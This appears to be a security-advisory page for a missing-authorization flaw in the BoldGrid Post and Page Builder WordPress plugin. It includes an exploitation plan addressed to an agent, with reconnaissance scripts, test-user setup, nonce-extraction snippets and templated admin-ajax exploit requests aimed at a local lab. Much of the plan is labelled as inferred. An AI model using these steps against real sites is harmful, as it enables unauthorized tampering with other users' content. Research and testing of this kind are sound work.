Post and Page Builder by BoldGrid <= 1.27.9 - Missing Authorization
Description
The Post and Page Builder by BoldGrid – Visual Drag and Drop Editor plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 1.27.9. This makes it possible for authenticated attackers, with Contributor-level access and above, to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=1.27.9Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2025-69345 — Post and Page Builder by BoldGrid Missing Authorization ## 1. Vulnerability Summary The Post and Page Builder by BoldGrid plugin (slug: `post-and-page-builder`) versions ≤1.27.9 contains a missing capability check on a function that allows authenticat…
Show full research plan
Exploitation Research Plan: CVE-2025-69345 — Post and Page Builder by BoldGrid Missing Authorization
1. Vulnerability Summary
The Post and Page Builder by BoldGrid plugin (slug: post-and-page-builder) versions ≤1.27.9 contains a missing capability check on a function that allows authenticated users with Contributor-level access (and above) to perform an unauthorized action. The vulnerability is classified as "Missing Authorization" — meaning a WordPress AJAX or REST handler exists that verifies the nonce (CSRF token) but does not check whether the current user has the required capability (e.g., edit_posts, publish_posts, manage_options, etc.) to perform the action.
Since no source files were provided, the specific function and endpoint must be identified through code inspection. Based on the plugin's architecture and the vulnerability description (Contributor+ can perform an unauthorized action with integrity impact but no confidentiality/availability impact — CVSS C:N/I:L/A:N), this likely involves a Contributor being able to modify content or settings they shouldn't have access to, such as:
- (inferred) Publishing/editing posts they don't own
- (inferred) Modifying plugin settings or templates
- (inferred) Importing/saving BoldGrid page builder layouts or blocks that should require higher privileges
The fix in version 1.27.10 presumably adds a current_user_can() check to the vulnerable function.
2. Attack Vector Analysis
Authentication Required: Yes — Contributor-level (minimum)
Likely Endpoint Type (inferred): WordPress AJAX handler registered via add_action('wp_ajax_<action>', ...) — this is the most common pattern for BoldGrid's page builder operations.
Discovery Steps (the agent must perform these first)
Since source code is not provided, the agent must identify the exact vulnerable endpoint:
# Step 1: Find all AJAX handlers in the plugin
grep -rn "add_action.*wp_ajax_" /var/www/html/wp-content/plugins/post-and-page-builder/ --include="*.php"
# Step 2: Find all REST routes
grep -rn "register_rest_route" /var/www/html/wp-content/plugins/post-and-page-builder/ --include="*.php"
# Step 3: Find capability checks
grep -rn "current_user_can" /var/www/html/wp-content/plugins/post-and-page-builder/ --include="*.php"
# Step 4: Find nonce verifications
grep -rn "check_ajax_referer\|wp_verify_nonce" /var/www/html/wp-content/plugins/post-and-page-builder/ --include="*.php"
# Step 5: Cross-reference — find AJAX handlers WITHOUT current_user_can
# Get handler function names
grep -rP "add_action\s*\(\s*['\"]wp_ajax_[^'\"]+['\"]" /var/www/html/wp-content/plugins/post-and-page-builder/ --include="*.php" -oh | sort -u
# Step 6: Compare with the patched version (if available) or check changelog
cat /var/www/html/wp-content/plugins/post-and-page-builder/readme.txt 2>/dev/null | head -50
Key hypothesis (inferred): The BoldGrid page builder likely has AJAX actions for saving/loading templates, blocks, or grid configurations. A common pattern in page builders is an AJAX endpoint like wp_ajax_boldgrid_save_gridblock or wp_ajax_boldgrid_save_template that checks a nonce but doesn't verify the user has the appropriate capability. A Contributor could use this to modify pages/posts they shouldn't have access to, or save layout data that affects published content.
Targeted Code Search
# Look for BoldGrid-specific AJAX actions
grep -rn "wp_ajax_boldgrid\|wp_ajax_bgppb\|wp_ajax_bg_" /var/www/html/wp-content/plugins/post-and-page-builder/ --include="*.php"
# Look for save/update/delete operations without capability checks
grep -rn "wp_ajax_" /var/www/html/wp-content/plugins/post-and-page-builder/ --include="*.php" | while read line; do
FILE=$(echo "$line" | cut -d: -f1)
FUNC=$(echo "$line" | grep -oP "(?:array\s*\(\s*\\\$this\s*,\s*['\"]|['\"])(\w+)" | tail -1 | tr -d "'\"")
if [ -n "$FUNC" ]; then
HAS_CAP=$(grep -c "current_user_can" "$FILE" 2>/dev/null)
echo "Handler: $FUNC in $FILE (capability checks in file: $HAS_CAP)"
fi
done
# Search for the specific pattern: nonce check present but no capability check
# in the same function
grep -rn "function\s\+\w\+" /var/www/html/wp-content/plugins/post-and-page-builder/ --include="*.php" -A 30 | grep -B5 "check_ajax_referer\|wp_verify_nonce" | grep -v "current_user_can"
3. Code Flow (Inferred — Must Be Verified)
The expected code flow for BoldGrid page builder AJAX operations is:
1. User (Contributor) loads the post editor → BoldGrid JS scripts are enqueued
2. wp_localize_script() passes a nonce to the frontend JS
3. User triggers an action (e.g., save layout, import template)
4. JS sends POST to admin-ajax.php with:
- action=<boldgrid_ajax_action>
- nonce=<nonce_value>
- Additional parameters (post_id, content, template data, etc.)
5. WordPress routes to the registered handler
6. Handler calls check_ajax_referer() or wp_verify_nonce() → PASSES
7. Handler does NOT call current_user_can() → VULNERABILITY
8. Handler performs the action (modifies post content, saves template, etc.)
Tracing the Exact Handler
# Find the main plugin initialization
grep -rn "class\s\+" /var/www/html/wp-content/plugins/post-and-page-builder/includes/ --include="*.php" | head -20
# Find where AJAX handlers are registered (usually in a constructor or init method)
grep -rn "add_action.*wp_ajax" /var/www/html/wp-content/plugins/post-and-page-builder/ --include="*.php" -B5 -A2
# Find the handler function bodies — look for ones with nonce but no capability
for f in $(find /var/www/html/wp-content/plugins/post-and-page-builder/ -name "*.php"); do
# Check if file has AJAX registration
if grep -q "wp_ajax_" "$f"; then
echo "=== $f ==="
# Show AJAX registrations and their handlers
grep -n "wp_ajax_" "$f"
# Check for capability checks
echo " Capability checks: $(grep -c 'current_user_can' "$f")"
echo " Nonce checks: $(grep -c 'check_ajax_referer\|wp_verify_nonce' "$f")"
fi
done
4. Nonce Acquisition Strategy
Since this vulnerability requires Contributor-level authentication, the nonce must be obtained as an authenticated Contributor user.
Step 1: Identify how BoldGrid passes nonces to the frontend
# Find wp_localize_script calls in the plugin
grep -rn "wp_localize_script" /var/www/html/wp-content/plugins/post-and-page-builder/ --include="*.php"
# Find wp_create_nonce calls — these reveal the action strings
grep -rn "wp_create_nonce" /var/www/html/wp-content/plugins/post-and-page-builder/ --include="*.php"
# Find inline script nonces
grep -rn "wp_add_inline_script\|wp_head.*nonce\|wp_footer.*nonce" /var/www/html/wp-content/plugins/post-and-page-builder/ --include="*.php"
Step 2: Obtain the nonce via browser as the Contributor
(inferred) BoldGrid likely localizes its AJAX nonce when the post editor is loaded. The typical variable name pattern would be something like BOLDGRID or BoldgridEditor or IMHWPB.
# Look for the JS localization variable names
grep -rn "wp_localize_script" /var/www/html/wp-content/plugins/post-and-page-builder/ --include="*.php" -A5
Nonce extraction approach:
- Log in as the Contributor user via the browser
- Navigate to the post editor (e.g.,
/wp-admin/post-new.php) - Use
browser_evalto extract the nonce:// Try common BoldGrid localization variable names (verify from grep results) window.BOLDGRID?.nonce || window.BoldgridEditor?.nonce || window.IMHWPB?.nonce || window.boldgrid_settings?.nonce
Alternative nonce extraction — from page source:
If the BoldGrid scripts load on the editor page, the nonce will be embedded in a <script> tag. The agent can:
- Navigate to
/wp-admin/post-new.phpas Contributor - Search page source for nonce patterns
- Extract via
browser_eval("document.body.innerHTML")and parse
Important: Nonce action string verification
# Compare create vs verify action strings
echo "=== NONCE CREATION ==="
grep -rn "wp_create_nonce" /var/www/html/wp-content/plugins/post-and-page-builder/ --include="*.php"
echo "=== NONCE VERIFICATION ==="
grep -rn "check_ajax_referer\|wp_verify_nonce" /var/www/html/wp-content/plugins/post-and-page-builder/ --include="*.php"
If the vulnerable handler doesn't check a nonce at all (possible given "missing authorization" vs "missing CSRF"), then no nonce is needed — just authentication cookies.
5. Exploitation Strategy
Phase 1: Reconnaissance
# Identify the plugin version
grep -i "version" /var/www/html/wp-content/plugins/post-and-page-builder/post-and-page-builder.php | head -5
# Map all entry points
grep -rn "wp_ajax_" /var/www/html/wp-content/plugins/post-and-page-builder/ --include="*.php" | grep "add_action"
Phase 2: Identify the Specific Vulnerable Handler
# Find handlers registered for AJAX that lack capability checks
# This is the critical step — compare the AJAX handler function bodies
# For each AJAX handler, check if current_user_can is called in its function body
grep -rn "add_action\s*(\s*['\"]wp_ajax_" /var/www/html/wp-content/plugins/post-and-page-builder/ --include="*.php" -h | while IFS= read -r line; do
ACTION=$(echo "$line" | grep -oP "wp_ajax_\K[^'\"]+")
echo "--- Action: $ACTION ---"
# Find the callback
CALLBACK=$(echo "$line" | grep -oP "(?:,\s*['\"])(\w+)(?:['\"])" | tr -d "',\"" | head -1)
if [ -z "$CALLBACK" ]; then
CALLBACK=$(echo "$line" | grep -oP "\\\$this\s*,\s*['\"](\w+)['\"]" | grep -oP "'(\w+)'" | tr -d "'")
fi
echo " Callback: $CALLBACK"
# Search for capability check in that function
grep -rn "function\s\+$CALLBACK" /var/www/html/wp-content/plugins/post-and-page-builder/ --include="*.php" -A 40 | grep -c "current_user_can"
done
Phase 3: Setup Test Environment
# Create a Contributor user
wp user create contributor contributor@example.com --role=contributor --user_pass=contributor123 --allow-root
# Create an Author user (for comparison — to create content the Contributor shouldn't modify)
wp user create author author@example.com --role=author --user_pass=author123 --allow-root
# Create an Admin user (if not exists)
wp user list --role=administrator --allow-root
# Create a published post by the Author (target for unauthorized modification)
wp post create --post_type=post --post_title="Author Test Post" --post_status=publish --post_author=$(wp user get author --field=ID --allow-root) --post_content="Original content by author" --allow-root
# Note the post ID
wp post list --author=$(wp user get author --field=ID --allow-root) --format=ids --allow-root
Phase 4: Authenticate as Contributor and Extract Nonce
Log in as Contributor via browser:
- Navigate to
/wp-login.php - Enter credentials:
contributor/contributor123 - Submit login form
- Navigate to
Navigate to the post editor to trigger BoldGrid script loading:
- Go to
/wp-admin/post-new.php
- Go to
Extract nonce using browser_eval:
// First, enumerate all global variables that might contain nonces Object.keys(window).filter(k => { try { return typeof window[k] === 'object' && window[k] !== null && JSON.stringify(window[k]).includes('nonce'); } catch(e) { return false; } });// Then extract the specific nonce (variable name from grep results) // (inferred) Examples: window.IMHWPB?.nonce window.BoldgridEditor?.nonce window.boldgridFrameworkAdmin?.nonce
Phase 5: Execute the Exploit
Once the exact AJAX action and parameters are identified, send the exploit request.
(inferred) Example exploit — a Contributor modifying another user's post:
HTTP Request (via http_request tool):
Method: POST
URL: http://localhost:8080/wp-admin/admin-ajax.php
Content-Type: application/x-www-form-urlencoded
Cookies: (Contributor's auth cookies from browser session)
Body:
action=<boldgrid_ajax_action>&nonce=<extracted_nonce>&post_id=<author_post_id>&content=<modified_content>
(inferred) Example exploit — a Contributor saving/publishing a template or layout:
HTTP Request:
Method: POST
URL: http://localhost:8080/wp-admin/admin-ajax.php
Content-Type: application/x-www-form-urlencoded
Cookies: (Contributor's auth cookies)
Body:
action=<boldgrid_save_action>&nonce=<nonce>&template_data=<payload>
Phase 5 (Alternative): If No Nonce Required
If the vulnerable handler doesn't verify a nonce at all:
HTTP Request:
Method: POST
URL: http://localhost:8080/wp-admin/admin-ajax.php
Content-Type: application/x-www-form-urlencoded
Cookies: (Contributor's auth cookies)
Body:
action=<vulnerable_action>&post_id=<target_post_id>&data=<payload>
6. Test Data Setup
# 1. Ensure the plugin is activated
wp plugin activate post-and-page-builder --allow-root
# 2. Check plugin version
wp plugin get post-and-page-builder --field=version --allow-root
# 3. Create users
wp user create contributor contributor@example.com --role=contributor --user_pass=contributor123 --allow-root
wp user create author author@example.com --role=author --user_pass=author123 --allow-root
# 4. Create target content (post by Author that Contributor should NOT be able to modify)
AUTHOR_ID=$(wp user get author --field=ID --allow-root)
TARGET_POST_ID=$(wp post create --post_type=post --post_title="Protected Author Post" --post_status=publish --post_author=$AUTHOR_ID --post_content="This content should not be modifiable by a Contributor" --porcelain --allow-root)
echo "Target Post ID: $TARGET_POST_ID"
# 5. Create a page with any needed shortcode (if nonce is only available on certain pages)
# Check for BoldGrid shortcodes first
grep -rn "add_shortcode" /var/www/html/wp-content/plugins/post-and-page-builder/ --include="*.php"
# 6. If needed, create a page that loads BoldGrid's editor scripts
wp post create --post_type=page --post_title="BoldGrid Test" --post_status=publish --post_content="[boldgrid_component type=\"wp_boldgrid_component_postlist\"]" --allow-root
# 7. Record initial state for verification
wp post get $TARGET_POST_ID --field=post_content --allow-root
wp post get $TARGET_POST_ID --field=post_status --allow-root
7. Expected Results
A successful exploit should demonstrate that a Contributor-level user can perform an action that should require higher privileges. Based on the CVSS vector (C:N/I:L/A:N — low integrity impact, no confidentiality or availability impact):
Expected Successful Exploit Indicators:
- HTTP Response:
200 OKwith a success JSON response (e.g.,{"success":true}or{"data":"saved"}) - State Change: The unauthorized action is reflected in the database, such as:
- A post owned by another user has been modified
- A plugin setting has been changed
- A template or layout has been saved/imported
- A post has been published that a Contributor shouldn't be able to publish directly
Expected Response Format (inferred):
{"success": true, "data": {"message": "Saved successfully"}}
What a FAILED exploit looks like (after patch):
{"success": false, "data": "You do not have permission to perform this action."}
Or a 403 Forbidden response.
8. Verification Steps
After the exploit HTTP request is sent:
# Check if the target post was modified
wp post get $TARGET_POST_ID --field=post_content --allow-root
wp post get $TARGET_POST_ID --field=post_modified --allow-root
# Check if any new posts/pages were created by the Contributor
CONTRIBUTOR_ID=$(wp user get contributor --field=ID --allow-root)
wp post list --post_author=$CONTRIBUTOR_ID --post_status=any --allow-root
# Check if any plugin options were modified
wp option get boldgrid_settings --allow-root 2>/dev/null
wp option list --search="boldgrid*" --allow-root
# Check post meta for BoldGrid-specific metadata changes
wp post meta list $TARGET_POST_ID --allow-root | grep -i bold
# Check for any template/block changes
wp option list --search="*boldgrid*template*" --allow-root 2>/dev/null
wp option list --search="*bgppb*" --allow-root 2>/dev/null
# Compare post content before and after
echo "If content changed from original, exploit succeeded."
9. Alternative Approaches
Approach A: REST API Endpoint Instead of AJAX
If the vulnerable endpoint is a REST route rather than an AJAX handler:
# Check for REST routes
grep -rn "register_rest_route" /var/www/html/wp-content/plugins/post-and-page-builder/ --include="*.php" -A10
# REST routes often use permission_callback — find ones with weak/missing checks
grep -rn "permission_callback" /var/www/html/wp-content/plugins/post-and-page-builder/ --include="*.php"
grep -rn "__return_true" /var/www/html/wp-content/plugins/post-and-page-builder/ --include="*.php"
REST exploit request:
Method: POST
URL: http://localhost:8080/wp-json/boldgrid/v1/<endpoint>
Headers:
Content-Type: application/json
X-WP-Nonce: <rest_nonce>
Cookies: (Contributor's auth cookies)
Body: {"post_id": <target>, "content": "modified"}
To get the REST nonce:
// In browser as logged-in Contributor
browser_eval("window.wpApiSettings?.nonce")
Approach B: admin_post Handler
# Check for admin_post handlers
grep -rn "admin_post_" /var/www/html/wp-content/plugins/post-and-page-builder/ --include="*.php"
Exploit:
Method: POST
URL: http://localhost:8080/wp-admin/admin-post.php
Body: action=<boldgrid_action>&<params>
Approach C: Direct Function Call via Shortcode
Some page builders allow shortcode-based operations that don't properly check capabilities:
# Check if any shortcode callbacks perform privileged operations
grep -rn "add_shortcode" /var/www/html/wp-content/plugins/post-and-page-builder/ --include="*.php" -A20 | grep -E "update_post|wp_update|delete_post|update_option"
Approach D: Explore BoldGrid-Specific Patterns
BoldGrid plugins often use a central AJAX dispatcher pattern:
# Look for a central AJAX handler that dispatches based on a sub-action
grep -rn "switch\|case\s*'" /var/www/html/wp-content/plugins/post-and-page-builder/ --include="*.php" | grep -i "action\|task\|method"
# Look for BoldGrid's library patterns
find /var/www/html/wp-content/plugins/post-and-page-builder/ -name "*.php" -path "*/ajax*" -o -name "*ajax*.php"
find /var/www/html/wp-content/plugins/post-and-page-builder/ -name "*.php" -path "*/api*" -o -name "*api*.php"
Approach E: If the Handler Has No Nonce Check At All
If the vulnerable function lacks both capability AND nonce checks, the exploit simplifies to just sending an authenticated request:
# Log in as Contributor via browser, then send request directly
# No nonce extraction needed
HTTP Request:
Method: POST
URL: http://localhost:8080/wp-admin/admin-ajax.php
Content-Type: application/x-www-form-urlencoded
Cookies: (Contributor auth cookies from browser login)
Body: action=<vulnerable_action>&post_id=<target>&content=modified_by_contributor
Approach F: Diff-Based Discovery
If the patched version (1.27.10) is available:
# Download the patched version and diff
# Look at the WordPress plugin SVN/changelog
cat /var/www/html/wp-content/plugins/post-and-page-builder/readme.txt | grep -A5 "1.27.10\|Changelog"
# If we can get both versions, diff them
# The diff will show exactly which function got the current_user_can() check added
Critical First Steps for the Agent
Since source code was not provided, the agent MUST begin with reconnaissance before attempting exploitation. The priority order is:
- Verify plugin is installed and get version:
wp plugin get post-and-page-builder --allow-root - Map ALL AJAX handlers:
grep -rn "wp_ajax_" /var/www/html/wp-content/plugins/post-and-page-builder/ --include="*.php" - Find handlers missing capability checks — compare handler function bodies for
current_user_cancalls - Identify the nonce action string used by the vulnerable handler
- Create test users and content
- Log in as Contributor, extract nonce, send exploit request
- Verify state change
Summary
The Post and Page Builder by BoldGrid plugin for WordPress is vulnerable to unauthorized access in versions up to and including 1.27.9 due to a missing capability check on an AJAX handler. This allows authenticated attackers with Contributor-level permissions and above to perform unauthorized actions that should be restricted to higher-privileged users.
Exploit Outline
To exploit this vulnerability, an attacker must first authenticate as a Contributor-level user. They must then obtain a valid security nonce, which is typically localized in the browser via JavaScript variables such as window.BOLDGRID.nonce or window.BoldgridEditor.nonce when the post editor is loaded. With this nonce, the attacker can send a POST request to /wp-admin/admin-ajax.php targeting the vulnerable action. Because the server-side function validates the nonce but fails to verify the user's capabilities using current_user_can(), the request is processed, allowing the attacker to perform unauthorized plugin operations.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.